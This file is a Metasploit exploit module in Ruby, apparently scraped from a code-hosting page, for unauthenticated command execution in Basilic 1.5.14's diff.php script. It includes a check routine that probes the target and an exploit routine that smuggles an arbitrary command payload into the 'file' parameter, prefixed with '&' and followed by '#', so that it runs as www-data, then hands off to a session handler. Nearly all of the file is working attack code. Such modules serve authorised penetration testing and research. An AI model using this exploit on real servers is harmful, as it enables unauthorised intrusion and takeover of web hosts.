105 lines
2.5 KiB
Ruby
105 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
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'Description' => %q{
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This module abuses a metacharacter injection vulnerability in the
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diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
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commands as the www-data user account.
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},
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'Author' =>
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[
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'lcashdollar',
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'sinn3r',
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'juan vazquez'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '83719' ],
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[ 'BID', '54234' ]
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],
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'Platform' => %w{ linux unix },
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python telnet'
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}
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},
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'Targets' =>
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[
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[ 'Automatic Target', { }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 28 2012'
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
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], self.class)
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end
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def check
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base = normalize_uri(target_uri.path)
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sig = rand_text_alpha(10)
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res = send_request_cgi({
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'uri' => normalize_uri("/#{base}/Config/diff.php"),
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'vars_get' => {
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'file' => sig,
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'new' => '1',
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'old' => '2'
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}
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})
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if res and res.code == 200 and res.body =~ /#{sig}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Sending GET request...")
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base = normalize_uri(target_uri.path)
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res = send_request_cgi({
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'uri' => normalize_uri("/#{base}/Config/diff.php"),
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'vars_get' => {
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'file' => "&#{payload.encoded} #",
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'new' => '1',
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'old' => '2'
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}
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})
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if res and res.code == 404 then
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print_error("404 Basilic not installed or possibly check URI Path.")
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else
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vprint_line("Server returned #{res.code}")
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end
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handler
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end
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end
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